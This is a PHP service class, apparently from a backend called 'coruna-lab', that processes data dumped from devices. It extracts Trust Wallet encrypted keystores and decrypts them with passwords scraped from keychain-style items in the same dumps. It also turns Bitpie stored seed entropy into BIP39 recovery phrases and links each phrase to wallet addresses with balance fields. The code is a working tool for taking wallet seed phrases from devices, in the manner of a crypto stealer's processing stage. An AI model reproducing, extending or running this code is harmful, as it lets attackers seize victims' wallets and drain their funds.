Files
coruna-lab/app/Services/DsKeystoreDecrypt.php
T
2026-08-24 06:49:07 +08:00

710 lines
21 KiB
PHP

<?php
namespace App\Services;
use App\Models\Device;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\Chain\BtcAddress;
use App\Services\Chain\EthAddress;
use App\Services\Chain\TronAddress;
use App\Support\WalletSource;
use FurqanSiddiqui\BIP39\BIP39;
/**
* Recover a BIP39 phrase from DS Trust UTC blobs or Bitpie seedPhraseEntropy.
*/
final class DsKeystoreDecrypt
{
/**
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
public function recover(Device $device, mixed $wallets, mixed $sandbox): array
{
$hits = [];
$seen = [];
$bitpieNodes = [$wallets, $sandbox];
foreach ($device->keystores as $row) {
if ($row->source === 'Bitpie') {
$bitpieNodes[] = $row->raw_json;
}
}
foreach ($this->recoverBitpie($bitpieNodes) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
return $hits;
}
/**
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverTrustUtc(Device $device, mixed $wallets, mixed $sandbox): array
{
$utcs = $this->collectKeystores($sandbox);
$utcs = array_merge($utcs, $this->collectKeystores($wallets));
foreach ($device->keystores as $row) {
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
}
$utcs = $this->uniqueKeystores($utcs);
if ($utcs === []) {
return [];
}
$passwords = $this->collectPasswords($wallets);
foreach ($device->keystores as $row) {
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
}
$passwords = array_slice($this->uniquePasswords($passwords), 0, 8);
if ($passwords === []) {
return [];
}
$hits = [];
foreach ($utcs as $item) {
$phrase = $this->unlock($item['keystore'], $passwords);
if ($phrase === null) {
continue;
}
$source = $item['source'] !== '' ? $item['source'] : 'Trust Wallet';
$hits[] = [
'source' => $source,
'tag' => WalletSource::tagForLabel($source),
'phrase' => $phrase,
'addresses' => [],
];
}
return $hits;
}
/**
* @param list<mixed> $nodes
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverBitpie(array $nodes): array
{
$phrases = [];
$addresses = [];
foreach ($nodes as $node) {
foreach ($this->collectBitpieEntropyHex($node) as $hex) {
$phrase = $this->phraseFromEntropyHex($hex);
if ($phrase !== null) {
$phrases[$phrase] = true;
}
}
$addresses = array_merge($addresses, $this->collectBitpieAddresses($node));
}
if ($phrases === []) {
return [];
}
$uniq = [];
$seenAddr = [];
foreach ($addresses as $row) {
$key = $row['address'];
if (isset($seenAddr[$key])) {
continue;
}
$seenAddr[$key] = true;
$uniq[] = $row;
}
$hits = [];
foreach (array_keys($phrases) as $phrase) {
$hits[] = [
'source' => 'Bitpie',
'tag' => 'r',
'phrase' => $phrase,
'addresses' => $uniq,
];
}
return $hits;
}
/**
* @param list<string> $passwords
*/
public function unlock(array $keystore, array $passwords): ?string
{
foreach ($passwords as $password) {
$plain = EthKeystore::decrypt($keystore, $password);
if ($plain === null) {
continue;
}
$phrase = $this->asMnemonic($plain);
if ($phrase !== null) {
return $phrase;
}
}
return null;
}
/**
* @return list<array{source: string, keystore: array<string, mixed>}>
*/
public function collectKeystores(mixed $node, string $source = '', int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectKeystores($decoded, $source, $depth + 1);
}
if (! is_array($node)) {
return [];
}
if ($this->isKeystore($node)) {
return [['source' => $source, 'keystore' => $node]];
}
$out = [];
foreach ($node as $key => $child) {
$next = $source;
if (is_string($key)) {
$hint = WalletSource::fromKeystoreHint($key);
if ($hint !== '') {
$next = $hint;
}
}
$out = array_merge($out, $this->collectKeystores($child, $next, $depth + 1));
}
return $out;
}
/**
* @return list<string>
*/
public function collectPasswords(mixed $node, int $depth = 0): array
{
$items = $this->collectPasswordItems($node, $depth);
usort($items, static fn ($a, $b) => $b['score'] <=> $a['score']);
$out = [];
foreach ($items as $item) {
$out = array_merge($out, $this->passwordsFromHex($item['hex']));
}
return $this->uniquePasswords($out);
}
/**
* @return list<array{hex: string, score: int}>
*/
private function collectPasswordItems(mixed $node, int $depth = 0): array
{
if ($depth > 8 || ! is_array($node)) {
return [];
}
$out = [];
$hex = $node['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$account = strtolower((string) ($node['account'] ?? ''));
$score = 0;
if (str_contains($account, 'utc--') && ! str_contains($account, 'migration')) {
$score += 100;
}
$rawLen = strlen(preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '') / 2;
if ($rawLen === 32.0 || $rawLen === 64.0) {
$score += 20;
}
$out[] = ['hex' => $hex, 'score' => $score];
}
foreach (['items', 'wallets', 'sandbox'] as $key) {
if (! isset($node[$key]) || ! is_array($node[$key])) {
continue;
}
foreach ($node[$key] as $child) {
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
}
}
if ($hex === null && ! isset($node['items']) && ! isset($node['wallets']) && ! isset($node['sandbox'])) {
foreach ($node as $child) {
if (is_array($child)) {
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
}
}
}
return $out;
}
/**
* @param list<WalletKeystore> $rows
*/
public function markDecrypted(iterable $rows, string $source): void
{
foreach ($rows as $row) {
if (! $row instanceof WalletKeystore) {
continue;
}
if ($row->source !== $source) {
continue;
}
if ((int) $row->decrypted === 1) {
continue;
}
$row->decrypted = 1;
$row->save();
}
}
/**
* @param array<string, mixed> $node
*/
private function isKeystore(array $node): bool
{
$crypto = $node['crypto'] ?? $node['Crypto'] ?? null;
if (! is_array($crypto)) {
return false;
}
return isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf']);
}
/**
* @return list<string>
*/
private function passwordsFromHex(string $hex): array
{
$hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return [];
}
$raw = @hex2bin($hex);
if (! is_string($raw) || $raw === '') {
return [];
}
return $this->passwordsFromString($raw);
}
/**
* @return list<string>
*/
private function passwordsFromString(string $raw): array
{
$out = [$raw];
if (mb_check_encoding($raw, 'UTF-8')) {
$trim = trim($raw);
if ($trim !== '' && $trim !== $raw) {
$out[] = $trim;
}
$unquoted = trim($trim, "\"'");
if ($unquoted !== '' && $unquoted !== $trim) {
$out[] = $unquoted;
}
if (ctype_xdigit($trim) && strlen($trim) % 2 === 0 && strlen($trim) >= 8) {
$bin = @hex2bin($trim);
if (is_string($bin) && $bin !== '') {
$out[] = $bin;
}
}
}
return $out;
}
/**
* @param list<array{source: string, keystore: array<string, mixed>}> $items
* @return list<array{source: string, keystore: array<string, mixed>}>
*/
private function uniqueKeystores(array $items): array
{
$seen = [];
$out = [];
foreach ($items as $item) {
$crypto = $item['keystore']['crypto'] ?? $item['keystore']['Crypto'] ?? [];
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
if ($fp === '|' || isset($seen[$fp])) {
continue;
}
$seen[$fp] = true;
$out[] = $item;
}
return $out;
}
/**
* @param list<string> $passwords
* @return list<string>
*/
private function uniquePasswords(array $passwords): array
{
$seen = [];
$out = [];
foreach ($passwords as $password) {
if ($password === '') {
continue;
}
if (isset($seen[$password])) {
continue;
}
$seen[$password] = true;
$out[] = $password;
}
return $out;
}
private function decodeBlob(string $raw): mixed
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
$json = json_decode($raw, true);
return is_array($json) ? $json : null;
}
$b64 = base64_decode($raw, true);
if (is_string($b64) && $b64 !== '') {
$json = json_decode($b64, true);
if (is_array($json)) {
return $json;
}
}
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
$bin = @hex2bin($hex);
if (is_string($bin) && $bin !== '') {
$json = json_decode($bin, true);
if (is_array($json)) {
return $json;
}
}
}
return null;
}
private function asMnemonic(string $plain): ?string
{
$text = strtolower(trim($plain));
$text = preg_replace('/\s+/', ' ', $text) ?? $text;
$words = $text === '' ? [] : explode(' ', $text);
$n = count($words);
if ($n !== 12 && $n !== 24) {
return null;
}
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return null;
}
}
return implode(' ', $words);
}
/**
* @return list<string>
*/
public function collectBitpieEntropyHex(mixed $node, int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectBitpieEntropyHex($decoded, $depth + 1);
}
if (! is_array($node)) {
return [];
}
$out = [];
$account = strtolower(trim((string) ($node['account'] ?? '')));
if ($account === 'seedphraseentropy') {
$hex = $this->entropyHexFromItem($node);
if ($hex !== null) {
$out[] = $hex;
}
}
foreach ($node as $key => $child) {
if (is_string($key) && strtolower($key) === 'seedphraseentropy') {
$hex = is_string($child) ? $this->normalizeEntropyHex($child) : $this->entropyHexFromItem(is_array($child) ? $child : []);
if ($hex !== null) {
$out[] = $hex;
}
}
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectBitpieEntropyHex($child, $depth + 1));
}
}
return $out;
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
public function collectBitpieAddresses(mixed $node, int $depth = 0, bool $inBitpie = false): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
if (! $inBitpie) {
return [];
}
return $this->addressesFromBitpieText($node);
}
if (! is_array($node)) {
return [];
}
$out = [];
$account = strtolower(trim((string) ($node['account'] ?? '')));
$extract = $inBitpie || in_array($account, ['useraddresskey', 'useraddress', 'seedphraseentropy'], true);
if (in_array($account, ['useraddresskey', 'useraddress'], true)) {
$out = array_merge($out, $this->addressesFromBitpieText($this->itemUtf8($node)));
}
if ($extract && isset($node['address']) && is_string($node['address'])) {
$mapped = $this->addressRow($node['address'], $node['coin_code'] ?? $node['chainType'] ?? $node['chain'] ?? null);
if ($mapped !== null) {
$out[] = $mapped;
}
}
foreach ($node as $key => $child) {
if (! is_array($child) && ! is_string($child)) {
continue;
}
$childInBitpie = $inBitpie || $this->isBitpieLabel($key);
$walk = $childInBitpie || $this->isBitpieWalkKey($key, $inBitpie);
if (! $walk) {
continue;
}
$out = array_merge($out, $this->collectBitpieAddresses($child, $depth + 1, $childInBitpie));
}
return $out;
}
private function isBitpieLabel(mixed $key): bool
{
$raw = strtolower(trim((string) $key));
return $raw !== '' && (
str_contains($raw, 'bitpie')
|| in_array($raw, ['useraddresskey', 'useraddress', 'useraddresses', 'kuseraddressesconfigure'], true)
);
}
private function isBitpieWalkKey(mixed $key, bool $inBitpie): bool
{
if (is_int($key)) {
return $inBitpie;
}
$raw = strtolower(trim((string) $key));
return in_array($raw, ['wallets', 'sandbox', 'items', 'item'], true);
}
/**
* @param array<string, mixed> $item
*/
private function entropyHexFromItem(array $item): ?string
{
$hex = $item['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$fromHex = $this->normalizeEntropyHex($hex);
if ($fromHex !== null) {
return $fromHex;
}
$bin = $this->fromHex($hex);
if ($bin !== null) {
$nested = $this->normalizeEntropyHex($bin);
if ($nested !== null) {
return $nested;
}
}
}
return $this->normalizeEntropyHex($this->itemUtf8($item));
}
/**
* @param array<string, mixed> $item
*/
private function itemUtf8(array $item): string
{
$hex = $item['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$bin = $this->fromHex($hex);
if ($bin !== null && mb_check_encoding($bin, 'UTF-8')) {
return trim($bin);
}
}
$data = $item['data'] ?? null;
return is_string($data) ? trim($data) : '';
}
private function normalizeEntropyHex(string $raw): ?string
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
$bin = $this->fromHex($raw);
if ($bin !== null) {
if (mb_check_encoding($bin, 'UTF-8')) {
$trim = trim($bin);
if ($this->isEntropyHex($trim)) {
return strtolower($trim);
}
}
if (strlen($bin) === 16 || strlen($bin) === 32) {
return strtolower(bin2hex($bin));
}
}
if ($this->isEntropyHex($raw)) {
return strtolower($raw);
}
return null;
}
private function isEntropyHex(string $value): bool
{
return (bool) preg_match('/^[0-9a-fA-F]{32}$/', $value)
|| (bool) preg_match('/^[0-9a-fA-F]{64}$/', $value);
}
private function phraseFromEntropyHex(string $hex): ?string
{
try {
$mnemonic = BIP39::Entropy(strtolower($hex));
} catch (\Throwable) {
return null;
}
$phrase = strtolower(trim(implode(' ', $mnemonic->words)));
return $this->asMnemonic($phrase);
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
private function addressesFromBitpieText(string $text): array
{
$out = [];
$text = trim($text);
if ($text === '') {
return $out;
}
$direct = $this->addressRow($text, null);
if ($direct !== null) {
$out[] = $direct;
}
if (preg_match('/kUserAddressesConfigure\s*(\[[\s\S]*\])/', $text, $m)) {
$json = json_decode($m[1], true);
if (is_array($json)) {
$out = array_merge($out, $this->collectBitpieAddresses($json, 0, true));
}
}
$decoded = $this->decodeBlob($text);
if (is_array($decoded)) {
$out = array_merge($out, $this->collectBitpieAddresses($decoded, 0, true));
}
return $out;
}
/**
* @return array{address: string, chainType: string, symbol: string, balance: int}|null
*/
private function addressRow(string $address, mixed $hint): ?array
{
$address = trim($address);
if ($address === '') {
return null;
}
$chain = $this->chainFromHint($hint) ?? WalletSource::inferChainType($address);
$chain = strtoupper($chain);
if (! WalletSource::isSupportedChain($chain)) {
return null;
}
$normalized = $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain));
if (in_array($normalized, ['TRON', 'TRX'], true) && ! TronAddress::isValid($address)) {
return null;
}
if (in_array($normalized, ['ETHEREUM', 'ETH', 'EVM'], true) && ! EthAddress::isValid($address)) {
return null;
}
if (in_array($normalized, ['BITCOIN', 'BTC'], true) && ! BtcAddress::isValid($address)) {
return null;
}
$symbol = match ($chain) {
'BITCOIN', 'BTC' => 'BTC',
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
'BNB', 'BSC', 'BINANCE' => 'BNB',
default => 'TRX',
};
return [
'address' => $address,
'chainType' => $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)),
'symbol' => $symbol,
'balance' => 0,
];
}
private function chainFromHint(mixed $hint): ?string
{
$raw = strtolower(trim((string) $hint));
if ($raw === '') {
return null;
}
if (str_contains($raw, 'trx') || str_contains($raw, 'tron')) {
return 'TRON';
}
if (str_contains($raw, 'eth')) {
return 'ETHEREUM';
}
if (str_contains($raw, 'btc') || str_contains($raw, 'bitcoin')) {
return 'BITCOIN';
}
return WalletSource::isSupportedChain($raw) ? strtoupper($raw) : null;
}
private function fromHex(string $value): ?string
{
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return null;
}
$bin = @hex2bin($hex);
return is_string($bin) ? $bin : null;
}
}